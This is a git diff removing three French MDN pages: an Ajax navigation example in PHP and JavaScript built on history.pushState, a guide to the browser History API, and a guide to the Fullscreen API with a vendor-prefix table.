diff --git a/files/fr/web/guide/dom/manipuler_historique_du_navigateur/example/index.html b/files/fr/web/guide/dom/manipuler_historique_du_navigateur/example/index.html deleted file mode 100644 index f19782d753..0000000000 --- a/files/fr/web/guide/dom/manipuler_historique_du_navigateur/example/index.html +++ /dev/null @@ -1,392 +0,0 @@ ---- -title: Exemple de navigation en Ajax -slug: Web/Guide/DOM/Manipuler_historique_du_navigateur/Example -translation_of: Web/API/History_API/Example ---- -

Voici un exemple de site web AJAX composé uniquement de trois pages (page_un.php, page_deux.php et page_trois.php). Pour tester cet exemple, merci de créer les fichiers suivants :

-

page_un.php:

-
- 
<?php
-    $page_title = "Page un";
-
-    $as_json = false;
-    if (isset($_GET["view_as"]) && $_GET["view_as"] == "json") {
-        $as_json = true;
-        ob_start();
-    } else {
-?>
-<!doctype html>
-<html>
-<head>
-<?php
-        include "include/header.php";
-        echo "<title>" . $page_title . "</title>";
-?>
-</head>
-
-<body>
-
-<?php include "include/before_content.php"; ?>
-
-<p>This paragraph is shown only when the navigation starts from <strong>first_page.php</strong>.</p>
-
-<div id="ajax-content">
-<?php } ?>
-
-    <p>This is the content of <strong>first_page.php</strong>.</p>
-
-<?php
-    if ($as_json) {
-        echo json_encode(array("page" => $page_title, "content" => ob_get_clean()));
-    } else {
-?>
-</div>
-
-<p>This paragraph is shown only when the navigation starts from <strong>first_page.php</strong>.</p>
-
-<?php
-        include "include/after_content.php";
-        echo "</body>\n</html>";
-    }
-?>
-
-
-

page_deux.php:

-
- 
<?php
-    $page_title = "Page deux";
-
-    $as_json = false;
-    if (isset($_GET["view_as"]) && $_GET["view_as"] == "json") {
-        $as_json = true;
-        ob_start();
-    } else {
-?>
-<!doctype html>
-<html>
-<head>
-<?php
-        include "include/header.php";
-        echo "<title>" . $page_title . "</title>";
-?>
-</head>
-
-<body>
-
-<?php include "include/before_content.php"; ?>
-
-<p>This paragraph is shown only when the navigation starts from <strong>second_page.php</strong>.</p>
-
-<div id="ajax-content">
-<?php } ?>
-
-    <p>This is the content of <strong>second_page.php</strong>.</p>
-
-<?php
-    if ($as_json) {
-        echo json_encode(array("page" => $page_title, "content" => ob_get_clean()));
-    } else {
-?>
-</div>
-
-<p>This paragraph is shown only when the navigation starts from <strong>second_page.php</strong>.</p>
-
-<?php
-        include "include/after_content.php";
-        echo "</body>\n</html>";
-    }
-?>
-
-
-

page_trois.php:

-
- 
<?php
-    $page_title = "Page trois";
-    $page_content = "<p>Ceci est le contenu de la <strong>page_trois.php</strong>. Ce contenu est stocké dans une variable PHP.</p>";
-
-    if (isset($_GET["view_as"]) && $_GET["view_as"] == "json") {
-        echo json_encode(array("page" => $page_title, "content" => $page_content));
-    } else {
-?>
-<!doctype html>
-<html>
-<head>
-<?php
-        include "include/header.php";
-        echo "<title>" . $page_title . "</title>";
-?>
-</head>
-
-<body>
-
-<?php include "include/before_content.php"; ?>
-
-<p>This paragraph is shown only when the navigation starts from <strong>third_page.php</strong>.</p>
-
-<div id="ajax-content">
-<?php echo $page_content; ?>
-</div>
-
-<p>This paragraph is shown only when the navigation starts from <strong>third_page.php</strong>.</p>
-
-<?php
-        include "include/after_content.php";
-        echo "</body>\n</html>";
-    }
-?>
-
-
-

css/style.css:

-
#ajax-loader {
-    position: fixed;
-    display: table;
-    top: 0;
-    left: 0;
-    width: 100%;
-    height: 100%;
-}
-
-#ajax-loader > div {
-    display: table-cell;
-    width: 100%;
-    height: 100%;
-    vertical-align: middle;
-    text-align: center;
-    background-color: #000000;
-    opacity: 0.65;
-}
-
-

include/after_content.php:

-
<p>Ceci est le pied-de-page. Il est commun à toutes les pages ajax.</p>
-
-

include/before_content.php:

-
<p>
-[ <a class="ajax-nav" href="page_un.php">Premier exemple</a>
-| <a class="ajax-nav" href="page_deux.php">Second exemple</a>
-| <a class="ajax-nav" href="page_trois.php">Troisième exemple</a>
-| <a class="ajax-nav" href="inexistante.php">Page inexistante</a> ]
-</p>
-
-
-

include/header.php:

-
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-<script type="text/javascript" src="js/ajax_nav.js"></script>
-<link rel="stylesheet" href="css/style.css" />
-
-

js/ajax_nav.js:

-
- 
"use strict";
-
-var ajaxRequest = new (function () {
-
-    function closeReq () {
-        oLoadingBox.parentNode && document.body.removeChild(oLoadingBox);
-        bIsLoading = false;
-    }
-
-    function abortReq () {
-        if (!bIsLoading) { return; }
-        oReq.abort();
-        closeReq();
-    }
-
-    function ajaxError () {
-        alert("Unknown error.");
-    }
-
-    function ajaxLoad () {
-        var vMsg, nStatus = this.status;
-        switch (nStatus) {
-            case 200:
-                vMsg = JSON.parse(this.responseText);
-                document.title = oPageInfo.title = vMsg.page;
-                document.getElementById(sTargetId).innerHTML = vMsg.content;
-                if (bUpdateURL) {
-                    history.pushState(oPageInfo, oPageInfo.title, oPageInfo.url);
-                    bUpdateURL = false;
-                }
-                break;
-            default:
-                vMsg = nStatus + ": " + (oHTTPStatus[nStatus] || "Unknown");
-                switch (Math.floor(nStatus / 100)) {
-                    /*
-                    case 1:
-                        // Informational 1xx
-                        console.log("Information code " + vMsg);
-                        break;
-                    case 2:
-                        // Successful 2xx
-                        console.log("Successful code " + vMsg);
-                        break;
-                    case 3:
-                        // Redirection 3xx
-                        console.log("Redirection code " + vMsg);
-                        break;
-                    */
-                    case 4:
-                        /* Client Error 4xx */
-                        alert("Client Error #" + vMsg);
-                        break;
-                    case 5:
-                        /* Server Error 5xx */
-                        alert("Server Error #" + vMsg);
-                        break;
-                    default:
-                        /* Unknown status */
-                        ajaxError();
-                }
-        }
-        closeReq();
-    }
-
-    function filterURL (sURL, sViewMode) {
-        return sURL.replace(rSearch, "") + ("?" + sURL.replace(rHost, "&").replace(rView, sViewMode ? "&" + sViewKey + "=" + sViewMode : "").slice(1)).replace(rEndQstMark, "");
-    }
-
-    function getPage (sPage) {
-        if (bIsLoading) { return; }
-        oReq = new XMLHttpRequest();
-        bIsLoading = true;
-        oReq.onload = ajaxLoad;
-        oReq.onerror = ajaxError;
-        if (sPage) { oPageInfo.url = filterURL(sPage, null); }
-        oReq.open("get", filterURL(oPageInfo.url, "json"), true);
-        oReq.send();
-        oLoadingBox.parentNode || document.body.appendChild(oLoadingBox);
-    }
-
-    function requestPage (sURL) {
-        if (history.pushState) {
-            bUpdateURL = true;
-            getPage(sURL);
-        } else {
-            /* Ajax navigation is not supported */
-            location.assign(sURL);
-        }
-    }
-
-    function processLink () {
-        if (this.className === sAjaxClass) {
-            requestPage(this.href);
-            return false;
-        }
-        return true;
-    }
-
-    function init () {
-        oPageInfo.title = document.title;
-        for (var oLink, nIdx = 0, nLen = document.links.length; nIdx < nLen; document.links[nIdx++].onclick = processLink);
-    }
-
-    const
-
-        /* customizable constants */
-        sTargetId = "ajax-content", sViewKey = "view_as", sAjaxClass = "ajax-nav",
-
-        /* not customizable constants */
-        rSearch = /\?.*$/, rHost = /^[^\?]*\?*&*/, rView = new RegExp("&" + sViewKey + "\\=[^&]*|&*$", "i"), rEndQstMark = /\?$/,
-        oLoadingBox = document.createElement("div"), oCover = document.createElement("div"), oLoadingImg = new Image(),
-        oPageInfo = {
-            title: null,
-            url: location.href
-        }, oHTTPStatus = /* http://www.iana.org/assignments/http-status-codes/http-status-codes.xml */ {
-            100: "Continue",
-            101: "Switching Protocols",
-            102: "Processing",
-            200: "OK",
-            201: "Created",
-            202: "Accepted",
-            203: "Non-Authoritative Information",
-            204: "No Content",
-            205: "Reset Content",
-            206: "Partial Content",
-            207: "Multi-Status",
-            208: "Already Reported",
-            226: "IM Used",
-            300: "Multiple Choices",
-            301: "Moved Permanently",
-            302: "Found",
-            303: "See Other",
-            304: "Not Modified",
-            305: "Use Proxy",
-            306: "Reserved",
-            307: "Temporary Redirect",
-            308: "Permanent Redirect",
-            400: "Bad Request",
-            401: "Unauthorized",
-            402: "Payment Required",
-            403: "Forbidden",
-            404: "Not Found",
-            405: "Method Not Allowed",
-            406: "Not Acceptable",
-            407: "Proxy Authentication Required",
-            408: "Request Timeout",
-            409: "Conflict",
-            410: "Gone",
-            411: "Length Required",
-            412: "Precondition Failed",
-            413: "Request Entity Too Large",
-            414: "Request-URI Too Long",
-            415: "Unsupported Media Type",
-            416: "Requested Range Not Satisfiable",
-            417: "Expectation Failed",
-            422: "Unprocessable Entity",
-            423: "Locked",
-            424: "Failed Dependency",
-            425: "Unassigned",
-            426: "Upgrade Required",
-            427: "Unassigned",
-            428: "Precondition Required",
-            429: "Too Many Requests",
-            430: "Unassigned",
-            431: "Request Header Fields Too Large",
-            500: "Internal Server Error",
-            501: "Not Implemented",
-            502: "Bad Gateway",
-            503: "Service Unavailable",
-            504: "Gateway Timeout",
-            505: "HTTP Version Not Supported",
-            506: "Variant Also Negotiates (Experimental)",
-            507: "Insufficient Storage",
-            508: "Loop Detected",
-            509: "Unassigned",
-            510: "Not Extended",
-            511: "Network Authentication Required"
-        };
-
-    var
-
-        oReq, bIsLoading = false, bUpdateURL = false;
-
-    oLoadingBox.id = "ajax-loader";
-    oCover.onclick = abortReq;
-    oLoadingImg.src = "data:image/gif;base64,R0lGODlhEAAQAPIAAP///wAAAMLCwkJCQgAAAGJiYoKCgpKSkiH/C05FVFNDQVBFMi4wAwEAAAAh/hpDcmVhdGVkIHdpdGggYWpheGxvYWQuaW5mbwAh+QQJCgAAACwAAAAAEAAQAAADMwi63P4wyklrE2MIOggZnAdOmGYJRbExwroUmcG2LmDEwnHQLVsYOd2mBzkYDAdKa+dIAAAh+QQJCgAAACwAAAAAEAAQAAADNAi63P5OjCEgG4QMu7DmikRxQlFUYDEZIGBMRVsaqHwctXXf7WEYB4Ag1xjihkMZsiUkKhIAIfkECQoAAAAsAAAAABAAEAAAAzYIujIjK8pByJDMlFYvBoVjHA70GU7xSUJhmKtwHPAKzLO9HMaoKwJZ7Rf8AYPDDzKpZBqfvwQAIfkECQoAAAAsAAAAABAAEAAAAzMIumIlK8oyhpHsnFZfhYumCYUhDAQxRIdhHBGqRoKw0R8DYlJd8z0fMDgsGo/IpHI5TAAAIfkECQoAAAAsAAAAABAAEAAAAzIIunInK0rnZBTwGPNMgQwmdsNgXGJUlIWEuR5oWUIpz8pAEAMe6TwfwyYsGo/IpFKSAAAh+QQJCgAAACwAAAAAEAAQAAADMwi6IMKQORfjdOe82p4wGccc4CEuQradylesojEMBgsUc2G7sDX3lQGBMLAJibufbSlKAAAh+QQJCgAAACwAAAAAEAAQAAADMgi63P7wCRHZnFVdmgHu2nFwlWCI3WGc3TSWhUFGxTAUkGCbtgENBMJAEJsxgMLWzpEAACH5BAkKAAAALAAAAAAQABAAAAMyCLrc/jDKSatlQtScKdceCAjDII7HcQ4EMTCpyrCuUBjCYRgHVtqlAiB1YhiCnlsRkAAAOwAAAAAAAAAAAA==";
-    oCover.appendChild(oLoadingImg);
-    oLoadingBox.appendChild(oCover);
-
-    onpopstate = function (oEvent) {
-        bUpdateURL = false;
-        oPageInfo.title = oEvent.state.title;
-        oPageInfo.url = oEvent.state.url;
-        getPage();
-    };
-
-    window.addEventListener ? addEventListener("load", init, false) : window.attachEvent ? attachEvent("onload", init) : (onload = init);
-
-    // Public methods
-
-    this.open = requestPage;
-    this.stop = abortReq;
-    this.rebuildLinks = init;
-
-})();
-
-
-
- Note: const (instruction de constante) ne fait pas partie de ECMAScript 5. Il est supporté dans Firefox et Chrome (V8) et partiellement supporté dans Opera 9+ et Safari. Il n'est pas supporté dans Internet Explorer 6-9, ou dans la version de prévisualisation de Internet Explorer 10. const sera défini par ECMAScript 6, mais avec une sémantique différente. Proches des variables déclarées avec l'instruction let, les constantes déclarées avec const seront limitées en portée. Nous ne l'avons utilisé que pour des raisons pédagogiques, si vous souhaitez une compatibilité maximale de ce code, merci de remplacer les références à const par des instructions var.
-

Pour plus d'informations, voyez : Manipuler l'historique du navigateur.

-

Lire également

-
    -
  • {{ domxref("window.history") }}
    • -
  • {{ domxref("window.onpopstate") }}
    • -
diff --git a/files/fr/web/guide/dom/manipuler_historique_du_navigateur/index.html b/files/fr/web/guide/dom/manipuler_historique_du_navigateur/index.html deleted file mode 100644 index 5e199dd521..0000000000 --- a/files/fr/web/guide/dom/manipuler_historique_du_navigateur/index.html +++ /dev/null @@ -1,245 +0,0 @@ ---- -title: Manipuler l'historique du navigateur -slug: Web/Guide/DOM/Manipuler_historique_du_navigateur -tags: - - API - - DOM - - Historique -translation_of: Web/API/History_API ---- -

L'objet DOM {{ domxref("window") }} fournit un accès à l'historique du navigateur via l'objet {{ domxref("window.history", "history") }}. Il expose un ensemble de méthodes et de propriétés qui permettent d'avancer et de reculer dans l'historique de l'utilisateur ainsi que -- à partir d'HTML5 -- manipuler le contenu de l'ensemble de l'historique.

- -

Se déplacer dans l'historique

- -

Avancer ou reculer dans l'historique de l'utilisateur est possible en utilisant les méthodes back(), forward() et go().

- -

Avancer et reculer

- -

Pour reculer dans l'historique, il vous suffit de faire :

- -
window.history.back();
-
- -

Cela agira exactement comme si l'utilisateur cliquait sur le bouton Retour de la barre d'outils de son navigateur.

- -

De la même manière, il est possible d'avancer (comme si l'utilisateur cliquait sur le bouton Avancer) :

- -
window.history.forward();
-
- -

Se déplacer à un élément précis de l'historique

- -

Vous pouvez utiliser la méthode go() pour charger une page spécifique de l'historique de la session, identifiée par sa position relative par rapport à la page en cours (la page courante étant, évidemment, d'index 0).

- -

Pour reculer d'une page (l'équivalent d'un appel à back()):

- -
window.history.go(-1);
-
- -

Pour avancer d'une page, comme en appelant forward():

- -
window.history.go(1);
-
- -

De la même manière, vous pouvez avancer de 2 pages en passant la valeur 2, et ainsi de suite.

- -

Vous pouvez déterminer le nombre de pages de l'historique en accédant à la valeur de la propriété length (longeur) :

- -
var numberOfEntries = window.history.length;
-
- -
Note: Internet Explorer supporte le passage d'une URL sous forme de chaîne de caractères comme paramètre de la méthode go(); ce comportement est non standard et non supporté par Gecko.
- -

Ajouter et modifier des entrées de l'historique

- -

{{ gecko_minversion_header("2") }}

- -

HTML5 a introduit les méthodes history.pushState() et history.replaceState(), qui permettent, respectivement, d'ajouter et de modifier des entrées de l'historique. Ces méthodes fonctionnent conjointement avec l'événement onpopstate.

- -

L'utilisation de history.pushState() change le référent créé habituellement dans l'en-tête HTTP pour les objets XMLHttpRequest, chaque fois que son état a été changé. Le référent sera l'URL de la page dont l'objet window est this au moment de la création de l'objet XMLHttpRequest.

- -

Exemple de la méthode pushState()

- -

Supposons que http://mozilla.org/foo.html exécute la séquence JavaScript suivante :

- -
var stateObj = { foo: "bar" };
-history.pushState(stateObj, "page 2", "bar.html");
-
- -

Cela va provoquer l'apparition dans la barre de navigation de http://mozilla.org/bar.html, mais ne provoquera pas le chargement effectif de bar.html ni même le test d'existence de bar.html.

- -

Supposons à présent que l'utilisateur accède à la page http://google.com, puis clique sur l'icône "Recul". La barre de navigation va alors afficher http://mozilla.org/bar.html, et si vous lisez l'history.state, vous obtiendrez le stateObj.  L'événement popstate ne sera pas lancé car la page a été rechargée. La page elle-même ressemblera à bar.html.

- -

Si on clique à nouveau sur Recul, l'URL de la barre de navigation va se changer en http://mozilla.org/foo.html et le document va recevoir un autre événement popstate, qui comportera, cette fois, un état null. Dans ce cas aussi, revenir en arrière ne modifie pas le contenu du document par rapport à ce qu'il était à l'étape précédente, cela bien qu'il ait pu être mis à jour manuellement sur réception de l'événement popstate.

- -

La méthode pushState()

- -

La méthode pushState() utilise trois paramètres : un objet état, un titre (qui est pour l'instant ignoré) et, éventuellement, une URL. Examinons chacun de ces paramètres en détail :

- -
    -
  • -

    state object (objet état) — L'objet état est un objet JavaScript qui est associé à une nouvelle entrée de l'historique par pushState(). Chaque fois qu'un utilisateur ouvre une nouvelle page, un événement popstate est émis et la propriété state de l'événement contient une copie de l'objet état de ce nouvel élément de l'historique.
    - L'objet état peut être tout ce qui peut être sous forme de liste. Puisque Firefox sauvegarde les objets état sur le disque de l'utilisateur de façon à ce qu'ils puissent être rétablis après redémarrage du navigateur, le codage de l'objet état est limité à une taille de 640k octets. Si vous donnez à pushState() un objet état dont la représentation a une taille plus importante, la méthode génèrera une exception. Si vous avez un besoin d'espace plus important, il est conseillé d'utiliser sessionStorage et/ou localStorage.

    -
    • -
  • -

    title (titre) — Firefox, pour l'instant, ignore ce paramètre, bien qu'il puisse être utilisé plus tard. Afin de prévenir les changements futurs de cette méthode, il serait prudent de fournir ici, en paramètre, une chaîne vide. Vous pourriez aussi donner un titre court à l'état vers lequel vous vous dirigez.

    -
    • -
  • -

    URL — L'URL de la nouvelle entrée de l'historique est donnée par ce paramètre. Il convient de préciser que le navigateur n'essaiera pas de charger la page pointée par cette URL après un appel à pushState(), mais il se peut qu'il tente de le faire plus tard, par exemple, lorsque l'utilisateur relancera son navigateur. Il n'est pas nécessaire que la nouvelle URL soit absolue ; si elle est relative, ce sera par rapport à l'URL courante. La nouvelle URL doit avoir la même origine (domaine) que l'URL courante ; dans le cas contraire, pushState() génèrera une exception. Ce paramètre est optionnel ; s'il n'est pas spécifié, sa valeur par défaut est l'URL de la page courante.

    -
    • -
- -
Note : Dans Gecko 2.0 {{ geckoRelease("2.0") }} jusqu'à Gecko 5.0 {{ geckoRelease("5.0") }}, l'objet fourni est sérialisé en utilisant JSON. À partir de  Gecko 6.0 {{ geckoRelease("6.0") }}, l'objet est sérialisé à l'aide de "structured clone algorithm" qui autorise, en particulier, la sérialisation d'arbres récursifs cycliques. Cela permet de passer de façon sûre une plus grande diversité d'objets.
- -

On peut assimiler l'appel à pushState() à l'affectation window.location = "#foo", en cela que l'un comme l'autre auront pour effet de créer et déclencher une autre entrée de l'historique associée au document courant. Mais pushState() a quelques avantages :

- -
    -
  • La nouvelle URL peut être quelconque pourvu qu'elle ait la même origine que l'URL courante. En revanche, affecter window.location vous maintient  au même {{ domxref("document") }} seulement si vous modifiez uniquement le hash.
    • -
  • Vous n'êtes pas contraint de modifier l'URL si vous ne le voulez pas. Par contre, affecter window.location = "#foo"; crée une nouvelle entrée de l'historique seulement si le hash courant n'est pas #foo.
    • -
  • Vous pouvez associer des données quelconques avec votre nouvelle entrée de l'historique. Avec l'approche basée sur le hash, il est nécessaire de coder toute donnée pertinente en une chaîne courte.
    • -
- -

Notez que pushState() n'entraîne jamais le déclenchement d'un événement hashchange, même si la nouvelle URL diffère de l'ancienne seulement par son hash.

- -

Dans un document XUL elle crée l'élément XUL spécifié.

- -

Dans d'autres documents, elle crée un élément avec l'URI d'espace de nom null. 

- -

La méthode replaceState()

- -

history.replaceState() fonctionne exactement comme history.pushState() hormis le fait que replaceState() modifie l'entrée courante de l'historique au lieu d'en créer une nouvelle. À noter que ceci n'empêche pas la création d'une nouvelle entrée dans l'historique global du navigateur.

- -

replaceState() est particulièrement utile si vous désirez mettre à jour l'objet état ou l'URL de l'entrée courante de l'historique en réponse à une action de l'utilisateur.

- -
Note : Dans Gecko 2.0 {{ geckoRelease("2.0") }} jusqu'à Gecko 5.0 {{ geckoRelease("5.0") }}, l'objet transmis est sérialisé avec JSON. À partir de  Gecko 6.0 {{ geckoRelease("6.0") }}, l'objet est sérialisé à l'aide de "structured clone algorithm" qui autorise, en particulier, la sérialisation d'arbres récursifs cycliques. Cela permet de passer de façon sûre une plus grande diversité d'objets.
- -

Exemple de la méthode replaceState()

- -

Supposons que http://mozilla.org/foo.html exécute le code JavaScript suivant :

- -
var stateObj = { foo: "bar" };
-history.pushState(stateObj, "page 2", "bar.html");
- -

L'explication des deux lignes ci-dessus peut être trouvée dans la section "Exemple de la méthode pushState()". Supposons ensuite que http://mozilla.org/bar.html exécute le code JavaScript suivant :

- -
history.replaceState(stateObj, "page 3", "bar2.html");
- -

Cela entraînera l'affichage de la barre d'URL http://mozilla.org/bar2.html, mais le navigateur ne chargera pas bar2.html ou même vérifiera que bar2.html existe.

- -

Supposons maintenant que l'utilisateur accède à http://www.microsoft.com, puis clique sur le bouton Précédent. À ce stade, la barre d'URL affichera http://mozilla.org/bar2.html. Si l'utilisateur clique à nouveau sur Retour, la barre d'URL affichera http://mozilla.org/foo.html et contournera totalement bar.html.

- -

L'événement popstate

- -

Un événement popstate est envoyé à la fenêtre chaque fois que l'entrée active de l'historique change. Si l'entrée de l'historique activée a été créée par un appel à replaceState, la propriété state de l'événement popstate contient une copie de l'objet état  de l'entrée de l'historique.

- -

Voir {{ domxref("window.onpopstate") }} pour un exemple d'utilisation.

- -

Lire l'état courant

- -

Quand votre page est chargée, il se pourrait qu'elle ait un objet état non nul. Cela peut se produire, par exemple, si la page fixe un objet état (avec  pushState() ou replaceState()) et qu'ensuite l'utilisateur redémarre le navigateur.  Quand votre page sera rechargée, elle recevra l'événement  onload , mais pas l'événement popstate.  Néanmoins, si vous lisez la propriété history.state, vous récupèrerez l'objet état que vous auriez obtenu si un événement popstate avait été déclenché.

- -

Vous pouvez lire l'état de l'entrée courante de l'historique sans devoir attendre un événement popstate en utilisant la propriété history.state comme ceci :

- -
var currentState = history.state;
-
- -

Exemples

- -

Pour un exemple comple de site web AJAX, vous pouvez voir : Exemple de navigation en Ajax.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('HTML WHATWG', "browsers.html#history", "History")}}{{Spec2('HTML WHATWG')}}Pas de changement de {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#history", "History")}}{{Spec2('HTML5 W3C')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
replaceState, pushState5{{ CompatGeckoDesktop("2.0") }}1011.505.0
history.state18{{ CompatGeckoDesktop("2.0") }}1011.50{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
replaceState, pushState{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
history.state{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

Vous pouvez utiliser History.js pour contourner les problèmes de compatibilité entre navigateurs.

- -

Voir aussi

- -
    -
  • {{ domxref("window.history") }}
    • -
  • {{ domxref("window.onpopstate") }}
    • -
diff --git a/files/fr/web/guide/dom/using_full_screen_mode/index.html b/files/fr/web/guide/dom/using_full_screen_mode/index.html deleted file mode 100644 index 76144c64f2..0000000000 --- a/files/fr/web/guide/dom/using_full_screen_mode/index.html +++ /dev/null @@ -1,301 +0,0 @@ ---- -title: Utiliser le mode plein écran -slug: Web/Guide/DOM/Using_full_screen_mode -tags: - - API - - DOM - - Plein écran - - Tutoriel -translation_of: Web/API/Fullscreen_API ---- -

{{DefaultAPISidebar("Fullscreen API")}}

- -

L'API Fullscreen (plein écran) fournit un moyen simple de présenter du contenu web en utilisant l'ensemble de l'écran de l'utilisateur. L'API vous permet de diriger facilement le navigateur pour faire en sorte qu'un élément et ses enfants, le cas échéant, occupent entièrement l'écran, éliminant toute l'interface utilisateur du navigateur et les autres applications de l'écran pendant ce temps.

- -
Note : Pour le moment, tous les navigateurs n'utilisent pas la version non préfixée de cet API. Consultez le tableau récapitulant les préfixes et les différences de noms entre eux (vous pouvez également utiliser Fscreen pour l'accès du fournisseur à l'API).
- -

Activation du mode plein écran

- -

En partant d'un élément que vous aimeriez afficher en plein écran ({{ HTMLElement("video") }}, par exemple), vous pouvez le passer en mode plein écran simplement en appelant sa méthode {{ domxref("Element.requestFullscreen()") }} .

- -

Prenons cet élément {{ HTMLElement("video") }} :

- -
<video controls id="myvideo">
-  <source src="somevideo.webm"></source>
-  <source src="somevideo.mp4"></source>
-</video>
-
- -

Nous pouvons mettre cet élément video en plein écran avec un script de cette façon :

- -
var elem = document.getElementById("myvideo");
-if (elem.requestFullscreen) {
-  elem.requestFullscreen();
-}
- -

Différences de présentation

- -

Il est important de savoir qu'il y a une différence clef entre les implémentations de Gecko et WebKit : Gecko ajoute automatiquement des règles CSS à l'élément afin qu'il remplisse l'écran : "width: 100%; height: 100%". WebKit ne fait pas ça ; à la place, il centre l'élément sans le redimensionner au milieu d'un écran noir. Pour obtenir le même comportement que Gecko dans WebKit, vous devez ajouter votre propre règle "width: 100%; height: 100%;" à l'élément :

- -
#myvideo:-webkit-full-screen  {
-  width: 100%;
-  height: 100%;
-}
-
- -

Dans l'autre sens, si vous essayez d'émuler le comportement de WebKit sur Gecko, vous devez placer l'élément que vous souhaitez présenter dans un autre élément, que vous mettrez en plein écran, et utiliser des règles CSS pour ajuster l'apparence de l'élément interne.

- -

Notification

- -

Quand le mode plein écran est activé, le document qui contient l'élément reçoit un événement de type   {{ event("fullscreenchange") }} . Lors de la sortie du mode plein écran, le document reçoit à nouveau l'événement  {{ event("fullscreenchange") }} . Notez que l'événement  en lui-même {{ event("fullscreenchange") }} ne fournit aucune information si le document est en train d'entrer ou de sortir du mode plein écran, mais si le document a une valeur non nulle {{ domxref("document.fullscreenElement", "fullscreenElement") }} , vous savez que vous êtes en mode plein écran.

- -

Lorsqu'une demande de plein écran échoue

- -

Il n'est pas garanti que vous soyez capable de passer en mode plein écran. Par exemple, les élements {{ HTMLElement("iframe") }} possèdent l'attribut  {{ HTMLAttrXRef("allowfullscreen", "iframe") }} pour permettre à leur contenu d'être affiché en mode plein écran. Certains contenus comme les greffons fenêtrés ne peuvent être représentés en plein écran. Essayer de placer un élément qui ne peut être affiché en mode plein écran (ou le parent ou le descendant d'un tel élément) ne marchera pas. A la place, l'élément qui a demandé le mode plein écran recevra un événement  mozfullscreenerror . Quand une demande de plein écran échoue, Firefox écrit un message d'erreur dans la console Web expliquant pourquoi la demande n'a pas pu aboutir. Dans Chrome et les versions plus récentes d'Opera, aucun avertissement de ce type n'est généré.

- -
-

Note : Les requêtes de Fullscreen doivent être appelées depuis un gestionnaire d'évènements ou sinon, elles seront refusées.

-
- -

Sortie du mode plein écran

- -

L'utilisateur peut toujours sortir du mode plein écran quand il le désire ; voir {{ anch("Choses que vos utilisateurs doivent savoir") }}. Vous pouvez également le faire en appelant la méthode  {{domxref("Document.exitFullscreen()")}} .

- -

Autres informations

- -

Le {{ domxref("document") }} fournit des informations supplémentaires pouvant être utiles lorsque vous développez des applications web en plein écran :

- -
-
{{ domxref("document.fullscreenElement", "fullscreenElement") }}
-
L'attribut fullscreenElement vous indique l'{{ domxref("element") }} qui est actuellement affiché en plein écran. S'il est non nul, le document est en mode plein écran. S'il est nul, le document n'est pas en mode plein écran.
-
{{ domxref("document.fullscreenEnabled", "fullscreenEnabled") }}
-
L'attribut fullscreenEnabled vous indique si le document est actuellement dans un état qui permettrait d'activer le mode plein écran ou non.
-
- -

Choses que vos utilisateurs doivent savoir

- -

Vous voulez faire savoir à vos utilisateurs qu'il peuvent utiliser la touche ECHAP  (ou  F11) pour sortir du mode plein écran.

- -

En même temps, naviguer sur une autre page, changer d'onglet, ou changer d'application (en utilisant, par exemple, Alt-Tab ) pendant le mode plein écran, implique la sortie du mode plein écran de toute façon.

- -

Exemple

- -

Dans cet exemple, une vidéo est affichée dans une page web. Taper sur l'une des touches  Retour  ou Entrée, permet à l'utilisateur de passer d'une présentation dans une fenêtre à une présentation en mode plein écran de la vidéo.

- -

Voir l'exemple sur une page

- -

Action sur la touche Entrée

- -

Quand la page est chargée, ce code est exécuté pour mettre en place un évènement "listener" permettant de surveiller la moindre action sur la touche  Entrée .

- -
document.addEventListener("keydown", function(e) {
-  if (e.keyCode == 13) {
-    toggleFullScreen();
-  }
-}, false);
-
- -

Passer en mode plein écran

- -

Ce code est appelé lorsque l'utilisateur appuie sur la touche Entrée, comme vu plus haut.

- -
function toggleFullScreen() {
-  if (!document.fullscreenElement) {
-      document.documentElement.requestFullscreen();
-  } else {
-    if (document.exitFullscreen) {
-      document.exitFullscreen();
-    }
-  }
-}
- -

 Dans un premier temps, la valeur de l'attribut fullscreenElement est analysée dans le {{ domxref("document") }} (en contrôlant s'il est préfixé par moz-, ms- ou webkit-). Si la valeur est nulle, le document est actuellement en mode normal, donc nous devons passer en mode plein écran. Le passage en mode plein écran est assuré en appelant {{ domxref("element.requestFullscreen()") }}.

- -

Si le mode plein écran est déjà activé (fullscreenElement est non nul), nous appelons  {{ domxref("document.exitFullscreen()") }}.

- -

Préfixes

- -

Pour le moment, tous les navigateurs n'ont pas implémenté la version sans préfixe de l'API (pour l'accès du fournisseur de l'API, vous pouvez utiliser Fscreen) . Voici le tableau résumant les préfixes et les différences de noms entre eux :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
StandardBlink (Chrome & Opera)Gecko (Firefox)Internet Explorer 11EdgeSafari (WebKit)
{{domxref("Document.fullscreen")}}webkitIsFullScreenmozFullScreen-webkitIsFullScreenwebkitIsFullScreen
{{domxref("Document.fullscreenEnabled")}}webkitFullscreenEnabledmozFullScreenEnabledmsFullscreenEnabledwebkitFullscreenEnabledwebkitFullscreenEnabled
{{domxref("Document.fullscreenElement")}}webkitFullscreenElementmozFullScreenElementmsFullscreenElementwebkitFullscreenElementwebkitFullscreenElement
{{domxref("Document.onfullscreenchange")}}onwebkitfullscreenchangeonmozfullscreenchangeMSFullscreenChangeonwebkitfullscreenchangeonwebkitfullscreenchange
{{domxref("Document.onfullscreenerror")}}onwebkitfullscreenerroronmozfullscreenerrorMSFullscreenErroronwebkitfullscreenerroronwebkitfullscreenerror
{{domxref("Document.exitFullscreen()")}}webkitExitFullscreen()mozCancelFullScreen()msExitFullscreen()webkitExitFullscreen()webkitExitFullscreen()
